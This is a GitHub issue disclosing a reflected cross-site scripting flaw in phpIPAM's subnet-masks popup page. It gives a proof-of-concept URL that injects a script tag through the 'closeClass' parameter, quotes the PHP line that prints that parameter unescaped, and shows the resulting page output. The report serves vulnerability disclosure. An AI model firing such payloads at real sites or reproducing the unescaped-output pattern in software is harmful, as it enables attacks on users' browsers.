Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Reflected XSS at /app/tools/subnet-masks/popup.php #3738

Closed
mvincenzo1995 opened this issue Jan 23, 2023 · 0 comments
Closed

Reflected XSS at /app/tools/subnet-masks/popup.php #3738

mvincenzo1995 opened this issue Jan 23, 2023 · 0 comments

Comments

@mvincenzo1995
Copy link

mvincenzo1995 commented Jan 23, 2023

phpipam 1.6 (looking at the changelog, tested on 1.5 demo at https://demo.phpipam.net/login/timeout/) has a reflected cross-site scripting vulnerability that is executed by exploiting parameter 'closeClass'.

Example of vulnerable URL:
https://demo.phpipam.net/app/tools/subnet-masks/popup.php?closeClass="><script>alert("XSS")</script>

XSS

Vulnerable source code:
https://github.com/phpipam/phpipam/blob/master/app/tools/subnet-masks/popup.php

<!-- footer -->
<div class="pFooter">
	<div class="btn-group">
		<button class="btn btn-sm btn-default <?php print @$_REQUEST['closeClass']; ?>"><?php print _('Close'); ?></button>
	</div>
</div>

(partial) Browser's response :

<!-- footer -->
<div class="pFooter">
	<div class="btn-group">
		<button class="btn btn-sm btn-default "><script>alert("XSS")</script>">Close</button>
	</div>
</div>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant